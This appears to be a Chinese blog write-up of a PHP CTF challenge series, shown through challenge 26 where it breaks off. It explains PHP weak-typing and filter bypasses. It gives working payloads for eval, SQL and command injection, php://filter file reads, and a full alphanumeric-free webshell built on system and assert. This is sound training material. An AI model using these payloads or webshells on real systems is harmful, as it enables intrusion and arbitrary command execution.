码迷,mamicode.com
首页 > Web开发 > 详细

PHP_Code_Challenge 1~30

时间:2020-05-19 14:20:52      阅读:205      评论:0      收藏:0      [点我收藏+]

标签:input   rom   无法获得   das   console   ack   tar   tab   secure   

1.

1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
<?php

error_reporting(0);
require __DIR__.‘/lib.php‘;

echo base64_encode(hex2bin(strrev(bin2hex($flag)))), ‘<hr>‘;

highlight_file(__FILE__);

bin2hex:把十六进制值转换为 ASCII 字符。
strrev:反转字符串。
hex2bin:把十六进制值转换为 ASCII 字符。

python脚本:
binascii:binascii 模块包含很多在二进制和二进制表示的各种ASCII码之间转换的方法。
binascii.b2a _ hex:返回的二进制数据的十六进制 strrev:反转字符串。
binascii.a2b _ hex :执行反向操作。

import base64
import binascii
def strrev(string):
    return string[::-1]
a="1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY="
b=binascii.a2b_hex(strrev(binascii.b2a_hex(base64.b64decode(a))))
print (b)
c=strrev(binascii.b2a_hex(base64.b64decode(a)))
print c

2.

 <?php
error_reporting(0);
require __DIR__.‘/lib.php‘;
if(isset($_GET[‘time‘])){
    if(!is_numeric($_GET[‘time‘])){
        echo ‘The time must be number.‘;
    }else if($_GET[‘time‘] < 60 * 60 * 24 * 30 * 2){
        echo ‘This time is too short.‘;
    }else if($_GET[‘time‘] > 60 * 60 * 24 * 30 * 3){
        echo ‘This time is too long.‘;
    }else{
        sleep((int)$_GET[‘time‘]);
        echo $flag;
    }
    echo ‘<hr>‘;
}
highlight_file(__FILE__);

直接写入结果需要等非常漫长的时间,但是通过科学计数法,我们只需要7秒,因为sleep函数的存在。
payload:http://148.70.62.239:23002/challenge2.php?time=7.776e6

3.

看到提示:challenge3.txt
所以转到view-source:http://148.70.62.239:23003/challenge3.txt 以下为php代码:

<?php
error_reporting(0);
echo "<!--challenge3.txt-->";
require __DIR__.‘/lib.php‘;
if(!$_GET[‘id‘])
{
    header(‘Location: challenge3.php?id=1‘);
    exit();
}
$id=$_GET[‘id‘];
$a=$_GET[‘a‘];
$b=$_GET[‘b‘];
if(stripos($a,‘.‘))
{
    echo ‘Hahahahahaha‘;
    return ;
}
$data = @file_get_contents($a,‘r‘);
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    echo $flag;
}
else
{
    print "work harder!harder!harder!";
}
?> 

stripos() 函数:查找 "php" 在字符串中第一次出现的位置。
php弱比较:

<?php
var_dump("admin"==0);  //true
var_dump("1admin"==1); //true
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true 
?> 

==:等值符,当等号两边为相同类型时,直接比较值是否相等;当等号两边类型不同时,先转换为相同的类型,再对转换后的值进行比较,如果比较一个数字和字符串或者涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照常数值进行比较。
注意:如果该字符串没有包含‘.‘,‘e‘,‘E‘并且其数值值在整形的范围之内 该字符串被当作int来取值,其他所有情况下都被作为float来取值,字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

strcmp漏洞绕过:
strcmp函数会比较两个字符串,如果str1>str2返回>0,相等就会返回=0.
但是当我们传入数组形式,例如test[]=aaaa那么此时函数类型不匹配,但php还会判断其相等,该漏洞应该在老的php版本里有效。

"arraysearch"与isarray"绕过:is_array:判断传入的是不是一个数组,arraysearch(x,$数组):在数组中寻找与指定值(x)相等的值,arraysearch函数 类似于"==",会进行类型的转换,所以有时候我们传入数组进行匹配,例如array[]=0,遇到字符串匹配那么此时就回成为admin==0,根据==的判断规则就会认为匹配了。

继续这道题:
第一部分id的取值:
这里有个if语句判断,此时可以看到有一个!号来进行取反,所以我们的id值应该为0或者是null,所以此时我们可以利用上面的弱比较,我们可以这么写:id=aaa123

第二部分a的取值:
看到if判断条件是不允许我们使用.的,下面filegetcontents能够读取我们传来的数据,但是我们无法进行文件操作,但是我们利用伪协议,php://input,使用post方式来传输数据,根据要求,post :1112 is a nice lab!此时就是:file_get_contents(‘php://input‘,‘r‘)

第三部分b的取值:
这里就有点搞了,根据他的要求,让我们既要跟111拼成1114,又让我们的第一位不能为4,并且长度要大于五。
利用%00截断,对于%00截断函数,他能终止substr函数,但是对于strlen则不会。

4.

<?php 
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST[‘hello‘];
eval("var_dump($a);"); 

payload:/challenge4.php?hello=);eval(phpinfo()此处我们利用了在php双引号会对包裹起来的字符串要进行扫描计算,所以拼接完成后会变成这样:eval("var_dump();eval(phpinfo());");在双引号当中已经被小执行了一次,留下了我们的shell。

5.

<?php
if (isset($_GET[‘name‘]) and isset($_GET[‘password‘])) {
    if ($_GET[‘name‘] == $_GET[‘password‘])
        echo ‘<p>Your password can not be your name!</p>‘;
    else if (sha1($_GET[‘name‘]) === sha1($_GET[‘password‘]))
      die(‘Flag: ‘.$flag);
    else
        echo ‘<p>Invalid password.</p>‘;
}
else{
    echo ‘<p>Login first!</p>‘;
?>

在这里他既要求我们password不能相等,又要让我们在sha1下相等,看到两个等号以及sha1其实就已经可以知道是利用数组来进行绕过,

sha1 — 计算字符串的 sha1 散列值,在sha1()当中当有数组传入的时候,其返回值为NULL.

拓展:
md5加密相等绕过:

md5(s878926199a)=0e545993274517709034328855841020
md5(s155964671a)=0e342768416822451524974117254469
md5(s214587387a)=0e848240448830537924465865611904
md5(s1091221200a)=0e940624217856561557816327384675
md5(s1885207154a)=0e509367213418206700842008763514
md5(s1502113478a)=0e861580163291561247404381396064

当我们输入的md5是以0e开头的时候,我们可以使用以上值进行绕过,因为是关于科学计数法的。

6.

利用bool注入结合sqlmap得到一些基本的信息。
查看代码:

<?php
if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("********", "*****", "********");
    mysql_select_db("challenges") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pwd from interest where uname=‘$user‘";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pwd"];
  if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
  }
}
?>

此处我们需要满足:

if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
    echo "<p>Logged in! Key:************** </p>";}

这段代码的意思就是,我们要查询的user他是有pwd的,并且pwd列的值与md5要匹配。
strcasecmp函数判断结果为:

0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2

我们构造两个相等的即可。

payload:‘ union select "21232f297a57a5a743894a0e4a801fc3"#&pass=admin

8.

源代码:

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET[‘c‘])){
    show_source(__FILE__);
    die();
}
function rand_string( $length ) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    $size = strlen( $chars );
    $str = ‘‘;
    for( $i = 0; $i < $length; $i++)
   {
       $str .= $chars[ rand( 0, $size - 1 ) ];
   }
    return $str;
}
$data = $_GET[‘c‘];
$black_list = array(‘ ‘, ‘!‘, ‘"‘, ‘#‘, ‘%‘, ‘&‘, ‘*‘, ‘,‘, ‘-‘, ‘/‘, ‘0‘, ‘1‘, ‘2‘, ‘3‘, ‘4‘, ‘5‘, ‘6‘, ‘7‘, ‘8‘, ‘9‘, ‘:‘, ‘<‘, ‘>‘, ‘?‘, ‘@‘, ‘A‘, ‘B‘, ‘C‘, ‘D‘, ‘E‘, ‘F‘, ‘G‘, ‘H‘, ‘I‘, ‘J‘, ‘K‘, ‘L‘, ‘M‘, ‘N‘, ‘O‘, ‘P‘, ‘Q‘, ‘R‘, ‘S‘, ‘T‘, ‘U‘, ‘V‘, ‘W‘, ‘X‘, ‘Y‘, ‘Z‘, ‘\\‘, ‘^‘, ‘`‘, ‘a‘, ‘b‘, ‘c‘, ‘d‘, ‘e‘, ‘f‘, ‘g‘, ‘h‘, ‘i‘, ‘j‘, ‘k‘, ‘l‘, ‘m‘, ‘n‘, ‘o‘, ‘p‘, ‘q‘, ‘r‘, ‘s‘, ‘t‘, ‘u‘, ‘v‘, ‘w‘, ‘x‘, ‘y‘, ‘z‘, ‘|‘, ‘~‘);
foreach ($black_list as $b) {
    if (stripos($data, $b) !== false){
        die("WAF!");
    }
}
$filename=rand_string(0x20).‘.php‘;
$folder=‘uploads/‘;
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, ‘<?php ‘.$data)){
    echo "<a href=‘".$full_filename."‘>WebShell</a></br>";
    echo "Enjoy your webshell~";
}else{
    echo "Some thing wrong...";
}
?>  

这段代码让我们传递变量c,但是要绕过黑名单,跟<?php组合在一起生成webshell,一定要执行才行,只是单纯传递一个绕过的不行。

构造无字母webshell:

<?php
$_=[].[];
$__=‘‘;
$_=$_[‘‘];
$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$__.=$_; // E
$_=++$_;$_=++$_;
$__=$_.$__; // GE
$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$_=++$_;$_=++$_;$_=++$_;
$__.=$_; // GET
var_dump(${‘_‘.$__}[_](${‘_‘.$__}[__])); // $_GET[‘_‘]($_GET[‘__‘]);

关于无字母webshell的编写原理是利用到了异或,即二进制之间的异或转换。

A对应的二进制值是01000001   //由ascii转换而来   
?对应的二进制值是00111111
异或的二进制的值是01111110  //对应为~

太骚了:https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

合为一行:$__=("#"^"|").("."^"~").("/"^"").("|"^"/").("{"^"/");`

上传好最上方的payload,?_=system&__=cat%20../flag.php利用命令执行得到flag。

利用自增的shell:

<?php
$_=[];
$_=@"$_"; // $_=‘Array‘;
$_=$_[‘!‘==‘@‘]; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____=‘_‘;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
原理:‘a‘++ => ‘b‘,‘b‘++ => ‘c‘

9.

源代码:

<?php
if(isset($_REQUEST[ ‘ip‘ ])) {
    $target = trim($_REQUEST[ ‘ip‘ ]);
    $substitutions = array(
        ‘&‘  => ‘‘,
        ‘;‘  => ‘‘,
        ‘|‘ => ‘‘,
        ‘-‘  => ‘‘,
        ‘$‘  => ‘‘,
        ‘(‘  => ‘‘,
        ‘)‘  => ‘‘,
        ‘`‘  => ‘‘,
        ‘||‘ => ‘‘,
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( ‘ping  -c 4 ‘ . $target );
        echo $target;
    echo  "<pre>{$cmd}</pre>";
}
show_source(__FILE__);

%0a换行符绕过。 payload:http://148.70.62.239:23009/challenge9.php?ip=12\7.\00.0.\1%0Acat%20flag.php

10.

源代码:

<?php 
require __DIR__.‘/flag.php‘;
if (isset($_POST[‘answer‘])){ 
    $number = $_POST[‘answer‘]; 
    if (noother_says_correct($number)){ 
        echo $flag; 
    }  else { 
        echo "Sorry"; 
    } 
} 

function noother_says_correct($number) 
{ 
    $one = ord(‘1‘); 
    $nine = ord(‘9‘); 
    # Check all the input characters! 
    for ($i = 0; $i < strlen($number); $i++) 
    { 
        # Disallow all the digits! 
        $digit = ord($number{$i}); 
        if ( ($digit >= $one) && ($digit <= $nine) ) 
        { 
            # Aha, digit not allowed! 
            return false; 
        } 
    } 
    # Allow the magic number ... 
    return $number == "3735929054"; 
} 

highlight_file(__FILE__);
?>

payload:answer=0xdeadc0de转换为16进制。

11.

<?php
include "flag.php";
$a = @$_REQUEST[‘hello‘];
if(!preg_match(‘/^\w*$/‘,$a )){
  die(‘ERROR‘);
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

$GLOBALS[‘var‘]是外部全局变量的本身,而global $var则是外部$var的同名引用或者说是指针,也就是说global函数产生一个指向函数外部变量的别名变量,而不是真正的函数外部变量,而$GLOBALS[]确确实实调用的是外部的变量,函数内外都会始终保持一致。
https://www.freebuf.com/column/230907.html

12.

直接闭合:?hello=);var_dump(file("flag.php"));//
源代码:

<?php
include "flag.php";
$a = @$_REQUEST[‘hello‘];
eval( "var_dump($a);");
show_source(__FILE__);

14.

php伪协议:?path=php://filter/convert.base64-encode/resource=flag.php

15.

源代码:

<?php
if(isset($_GET) && !empty($_GET)){
    $url = $_GET[‘file‘];
    $path = ‘upload/‘.$_GET[‘path‘];
}else{
    show_source(__FILE__);
    exit();
}

if(strpos($path,‘..‘) > -1){
    die(‘SYCwaf!‘);
}

if(strpos($url,‘http://127.0.0.1/‘) === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.Geeker";
}

u1s1我刚开始被绕懵了,已经意识到了是写shell查看flag,而关键点就是在filegetcontent这里,并且path变量时我们可以控制的,不要相信用户的输入是很重要的,当我们传入一个path变量:<?php phpinfo();xxxxx前者是会被解析的,显示页面为console.log(upload/<?php phpinfo(); update successed!)而在页面中是没有的,此时我们再创建一个页面,将这个页面包含进去,那么php就会被解析。
payload:path=shell.php&file=http%3a%2f%2f127.0.0.1%2f%3fpath%3d<%3fphp%2bphpinfo()%3b%3f>%26file%3dhttp%3a%2f%2f127.0.0.1%2findex.php

fopen与file _ get_contents:
file _ get _ contents()打开网页后,返回的变量是一个字符串,可以直接输出的。
fopen()打开网页后,返回的变量不是字符串,不能直接输出的,还需要用到fgets()这个函数来获取字符串。fgets()函数是从文件指针中读取一行。文件指针必须是有效的,必须指向由 fopen() 或 fsockopen() 成功打开的文件

16.

源代码:

<?php  
if (isset($_POST["submit"]))  
{
  if (isset($_POST[‘hihi‘]))
  {
    if (ereg("^[a-zA-Z0-9]+$", $_POST[‘hihi‘]) === FALSE)
    {
      exit(‘<script>alert("have fun:)")</script>‘);
    }
    elseif (strlen($_POST[‘hihi‘]) < 11 && $_POST[‘hihi‘] > 999999999)
    {
      if (strpos($_POST[‘hihi‘], ‘#HONG#‘) !== FALSE)
      {
        if (!is_array($_POST[‘hihi‘])) {
        include("flag.php");
        echo "Congratulations! FLAG is : ".$flag;
        }
        else
      {
        exit(‘<script>alert("nonono")</script>‘);
      }
      }
      else
      {
        exit(‘<script>alert("nonono")</script>‘);
      }
    }
    else
    {
      exit(‘<script>alert("sorry")</script>‘);
    }
  }
}
show_source(__FILE__);
?>

根据代码可以判断,需要满足以下条件:
submit,hihi都存在, hint只能为字母或者字符串。 hihi长度要小于11位,但是值要大于9999999,并且包含#HONG#,并且不能为数组,这事就产生了冲突因为#HONG#是有特殊字符的。。
在查找ereg的时候看到了ereg()是具有截断漏洞的,所以我们加上截断就能跳过判断了。

17.

<?php  
header("Content-type: text/html; charset=utf-8"); 
    include(‘flag.php‘); 
    $smile = 1;  
    if (!isset ($_GET[‘^_^‘])) $smile = 0;  
    if (ereg (‘\.‘, $_GET[‘^_^‘])) $smile = 0;  
    if (ereg (‘%‘, $_GET[‘^_^‘])) $smile = 0;  
    if (ereg (‘[0-9]‘, $_GET[‘^_^‘])) $smile = 0;  
    if (ereg (‘http‘, $_GET[‘^_^‘]) ) $smile = 0;  
    if (ereg (‘https‘, $_GET[‘^_^‘]) ) $smile = 0;  
    if (ereg (‘ftp‘, $_GET[‘^_^‘])) $smile = 0;  
    if (ereg (‘telnet‘, $_GET[‘^_^‘])) $smile = 0;  
    if (ereg (‘_‘, $_SERVER[‘QUERY_STRING‘])) $smile = 0;  
    if ($smile) { 
        if (@file_exists ($_GET[‘^_^‘])) $smile = 0;  
    }  
    if ($smile) { 
        $smile = @file_get_contents ($_GET[‘^_^‘]);  
        if ($smile === "(●‘?‘●)") die($flag);  
    }  
show_source(__FILE__); 
?>

分析代码:
一阿航啊if判断语句我们都不能匹配,否则无法获得flag。

data传输协议:

    data:,<文本数据>  
    data:text/plain,<文本数据>  
    data:text/html,<HTML代码>  
    data:text/html;base64,<base64编码的HTML代码>  
    data:text/css,<CSS代码>  
    data:text/css;base64,<base64编码的CSS代码>  
    data:text/javascript,<Javascript代码>  
    data:text/javascript;base64,<base64编码的Javascript代码>  
    data:image/gif;base64,base64编码的gif图片数据  
    data:image/png;base64,base64编码的png图片数据  
    data:image/jpeg;base64,base64编码的jpeg图片数据  
    data:image/x-icon;base64,base64编码的icon图片数据

关于:QUERY_STRING:

http://localhost/aaa/?p=222

$_SERVER[‘QUERY_STRING‘] = "p=222";


$_SERVER[‘REQUEST_URI‘] = "/aaa/?p=222";

$_SERVER[‘PHP_SELF‘]  = "/aaa/index.php";  

payload:?^.^=data://text/plain;charset=unicode,(●’?’●)说实话我没怎么理解。
payload:148.70.62.239:23017/challenge17.php?^.^=data://text/plain;charset=unicode,(●%27?%27●) 我觉得可能是因为在传输过程中这些字符由于太过特殊而无法传递,所以我们先定下编码

18.

代码:

<?php
header("Content-type: text/html; charset=utf-8"); 
    if(isset($_POST[‘login‘]))
     {
        if(isset($_POST[‘user‘]))
        {
            if(@strcmp($_POST[‘user‘],$USER))//USER是被隐藏的复杂用户名[原题已有注释]
            {
                die(‘user错误!‘);
            }
        }
        if (isset($_POST[‘name‘]) && isset($_POST[‘password‘]))
        {
            if ($_POST[‘name‘] == $_POST[‘password‘] )
            {
                die(‘账号密码不能一致!‘);
            }
            if (md5($_POST[‘name‘]) === md5($_POST[‘password‘]))
            {
                if(is_numeric($_POST[‘id‘])&&$_POST[‘id‘]!==‘72‘ && !preg_match(‘/\s/‘, $_POST[‘id‘]))
                {
                        if($_POST[‘id‘]==72)
                            die("flag{xxxxxxxxxxxxx}");
                        else
                            die("ID错误2!");
                }
                else
                {
                    die("ID错误1!");
                }
            }
            else
                die(‘账号密码错误!‘);
        }
     }
 ?>

好像之前有做过类似的,对于md5的绕过,我们利用弱比较,因为md5无法处理数组。关于72,我们使用科学计数法就可以了。

payload:`POST /challenge18.php HTTP/1.1
Host: 148.70.62.239:23018
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: http://148.70.62.239:23018
Connection: close
Referer: http://148.70.62.239:23018/
Upgrade-Insecure-Requests: 1

name[]=1&password[]=c&id=7.2e1&login=Check

当然加上一个点也可以:

POST /challenge18.php HTTP/1.1
Host: 148.70.62.239:23018
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://148.70.62.239:23018
Connection: close
Referer: http://148.70.62.239:23018/
Upgrade-Insecure-Requests: 1

name[]=1&password[]=c&id=72.000&login=Check

19.

源码:

<?php
error_reporting(0);
require_once(‘flag.php‘);
if(!isset($_GET[‘sss‘])){
    show_source(‘challenge19.php‘);
    die();
}
$sss=$_GET[‘sss‘];
if(strlen($sss)==666){
    if(!preg_match("/[^0-6]/",$sss)){
        eval(‘$sss=‘.$sss.‘;‘);
        if($sss!==‘0x666‘){
            if($sss==‘0x666‘){
                echo $flag;
            }
        }
    }
}
?>

根据判断条件我们将其转换为8进制即可,然后利用python打印出剩下的0即可。

20.

 <?php

require_once(‘flag.php‘);

if(empty($_GET[‘user‘])) die(show_source(__FILE__));

$user = [‘admin‘, ‘xxoo‘];

if($_GET[‘user‘] === $user && $_GET[‘user‘][0] != ‘admin‘){
    echo $flag;
}
?>
1

漏洞:var_dump([0 => 0] === [0x100000000 => 0]); 在php版本为5.6及以下时,var_dump([0 => 0] === [0x100000000 => 0]);返回了true,那么根据条件我们想要满足的第一个条件就可以这样绕过了,第二个条件也满足了,因为此时就不存在数组第零项了,第一处也满足[0=>0]===xxxxx了。

21.

源代码:

<?php
require(‘flag.php‘);

if  ("POST" == $_SERVER[‘REQUEST_METHOD‘])
{
    $password = $_POST[‘password‘];
    if (0 >= preg_match(‘/^[[:graph:]]{12,}$/‘, $password))#要有可见字符,长度要大于十二
    {
        echo ‘Wrong Format‘;
        exit;
    }

    while (TRUE)
    {
        $reg = ‘/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/‘;
        if (6 > preg_match_all($reg, $password, $arr))#按正则匹配至少要分出六组
        break;

        $c = 0;
        $ps = array(‘punct‘, ‘digit‘, ‘upper‘, ‘lower‘);
        foreach ($ps as $pt)
        {
            if (preg_match("/[[:$pt:]]+/", $password))
            $c += 1;    #每匹配到一种c加一。
        }

        if ($c < 3) break; #要匹配最少三次
        if ("42" == $password) echo $flag;
        else echo ‘Wrong password‘;
        exit;
    }
}

show_source(__FILE__);
POSIXDescriptionASCIIUnicodeShorthandJava
[:alnum:] Alphanumeric characters [a-zA-Z0-9] [\p{L&}\p{Nd}]   \p{Alnum}
[:alpha:] Alphabetic characters [a-zA-Z] \p{L&}   \p{Alpha}
[:ascii:] ASCII characters [\x00-\x7F] \p{InBasicLatin}   \p{ASCII}
[:blank:] Space and tab [ \t] [\p{Zs}\t] \h \p{Blank}
[:cntrl:] Control characters [\x00-\x1F\x7F] \p{Cc}   \p{Cntrl}
[:digit:] Digits [0-9] \p{Nd} \d \p{Digit}
[:graph:] 可见字符(即空格,控制字符等除外) [\x21-\x7E] [^\p{Z}\p{C}]   \p{Graph}
[:lower:] Lowercase letters [a-z] \p{Ll}   \p{Lower}
[:print:] Visible characters and spaces (i.e. anything except control characters, etc.) [\x20-\x7E] \P{C}   \p{Print}
[:punct:] 标点和符号 [!”#$%&’()*+, -./:;<=>?@ [\]^_`{|}~] [\p{P}\p{S}]   \p{Punct}
[:space:] All whitespace characters, including line breaks [ \t\r\n\v\f] [\p{Z}\t\r\n\v\f] \s \p{Space}
[:upper:] Uppercase letters [A-Z] \p{Lu}   \p{Upper}
[:word:] Word characters (letters, numbers and underscores) [A-Za-z0-9_] [\p{L}\p{N}\p{Pc}] \w  
[:xdigit:] Hexadecimal digits [A-Fa-f0-9] [A-Fa-f0-9]   \p{XDigit}

关于preg _ match与preg _ match _ all:
preg_match 只匹配一次,preg _ match _ all是全文匹配返回完整匹配次数,即所有跟表达式一致的都找出来。
http://148.70.62.239:23021/challenge21.php
payload:password=4200.0000e-2发送如下数据。

22.

 <?php

require(‘flag.php‘); 
if (isset($_GET[‘src‘]))
    highlight_file(__FILE__) and die();
if (isset($_GET[‘md5‘]))
{
    $md5=$_GET[‘md5‘];
    if ($md5==md5($md5))
        echo "Wonderbubulous! Flag is ".$flag;
    else
        echo "Nah... ‘",htmlspecialchars($md5),"‘ not the same as ",md5($md5);
}
?>

要求我们满足:($md5==md5($md5))这个条件我们要找到一个以0e开头的字符串,经过md5后他依然为0e开头,放入我们就可以利用弱比较进行绕过。
0e215962017这个在这道题下就ok //0e215962017 0e291242476940776845150308577824

23.

<?php    
highlight_file(__FILE__);
    @$k1=$_GET[‘key1‘];
    @$k2=$_GET[‘key2‘];
    if(@file_get_contents($k1)==="Hello hacker!"){
        echo ‘welcome! Hacker!<br>‘;
        if(md5($k2)>666666*666666)
        {
            include(‘flag.php‘); 
            @$k3=$_GET[‘key3‘];
            @$k4=$_GET[‘key4‘];
            if(intval($k3)<666)
            {
                if($k3==666)
                {
                    echo ‘Come on, flag is coming<br>‘;
                    if($k4>0)
                    {
                        if(intval($k3+$k4)<666)
                            echo $flag;
                    }
                }
            }else{
                exit();
            }
        }else{
            exit();
        }
    }else{
        exit();
    }
?>

关于key1:因为是file _ get _ content利用data伪协议传递参数,http://148.70.62.239:23023/challenge23.php?key1=data://text/plain;base64,SGVsbG8gaGFja2VyIQ==
关于key2:找一个全是数字的,或者是只包含有e和数字的,例如1518375。 关于key3:利用科学计数法,直接66.6e1即可,但是看周周的解法是使用精度绕过665.9999999999999999999,还可以使用十六进制绕过0x29a。
关于key4:我尝试使用00截断没用,也尝试使用././././././././././././././././././././././././././././././././././././././././././././././././绕过但好像不行,看了思路是利用溢出,因为intval判断范围有限。

payload:http://148.70.62.239:23023/challenge23.php?key1=data://text/plain;base64,SGVsbG8gaGFja2VyIQ==&key2=1518375&key3=66.6e1&key4=999999999999999999999999999999999999999999999999999999

24.

<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET[‘foo‘]);
if(is_array($a)){
   is_numeric(@$a["bar1"])?die("nope"):NULL;
   if(@$a["bar1"]){
       ($a["bar1"]>2016)?$v1=1:NULL;
   }
   if(is_array(@$a["bar2"])){
       if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
       $pos = array_search("nudt", $a["a2"]);
       $pos===false?die("nope"):NULL;
       foreach($a["bar2"] as $key=>$val){
           $val==="nudt"?die("nope"):NULL;
       }
       $v2=1;
   }
}
$c=@$_GET[‘cat‘];
$d=@$_GET[‘dog‘];
if(@$c[1]){
   if(!strcmp($c[1],$d) && $c[1]!==$d){
       eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
       strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
   }
}
if($v1 && $v2 && $v3){
   include "flag.php";
   echo $flag;
}
?>

根据最后的代码进行判断,我们可以发现,我们要满足,v1,v2,v3都为1,就是要满足三种条件,依次分析:
v1满足的条件为:
当我们传入foo的时候,php会先将其转换为json格式,然后会将其在转换为数组,并且判断数组a的bar1部分其值是否为数字,然后判断是否大于2016。
解决方法:利用弱比较,即2017a即可。
v2满足条件:
因为这里是or属性,必须让他为假才行,所以这两个条件要么都是真,要么都是假:
根据推理可得,这段数组必须要有五对,同时他的第零项也要为数组,再看if判断条件可得:$a["a2"] = “nudt”,并且$a["bar2"]不包含nudt。
解决方法:$a["bar2"] = [[],2,3,4,5],$a["a2"] = “nudt”
v3满足条件:
获取cat,dog。满足if的两个条件都要为真,所以c[1]长度要小于d且他们不一致,c[0]d里面不能有关于3,1,c的任意一个字符串。
将c[0],d拼接在一起里面的字符串要有htctf2016. 解决方法:使用%00截断eregi函数,最后$c[0] = "ahtctf2016"

满足以上三段条件。
最终payload:?foo={“bar1”:”2017e”,”bar2”:[[],2,3,4,5],”a2”:[“nudt”]}&cat[0]=ahtctf2016&cat[1][]=&dog=%00

25.

<?php
    error_reporting(0);
    require __DIR__."/flag.php";

    $url = urldecode($_SERVER[‘REQUEST_URI‘]);
    $url_query = parse_url($url, PHP_URL_QUERY);

    $params = explode("&", $url_query);
    foreach($params as $param){

        $idx_equal = strpos($param, "=");
        if($idx_equal === false){
            $key = $param;
            $value = "";
        }else{
            $key = substr($param, 0, $idx_equal);
            $value = substr($param, $idx_equal + 1);
        }

        if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
            die("no hack");
        }
    }

    if(isset($_GET[‘do_you_want_flag‘]) && $_GET[‘do_you_want_flag‘] == "yes"){
        die($flag);
    }

    highlight_file(__FILE__);

payload:http://148.70.62.239:23025///?do_you_want_flag=yes

此处利用到了parse_url的解析漏洞:

详情:parseurl()会把//认为是相对路径(5.4.7以前),两个斜杠直接使得后面为host名而之后的/就会被认为是相对路径。
技术图片
技术图片
对于高版本的php的来说 直接/// 三个斜杠就可以直接解决方便 ,因为其导致 严重不合格的 URL,parse
url() 返回FALSE 这个是通用的绕过方法

https://blog.csdn.net/q1352483315/article/details/89672426

26.

<?php
    error_reporting(0);
    require __DIR__.‘/flag.php‘;

    $value = $_GET[‘value‘];

    $username = $_GET[‘username‘];
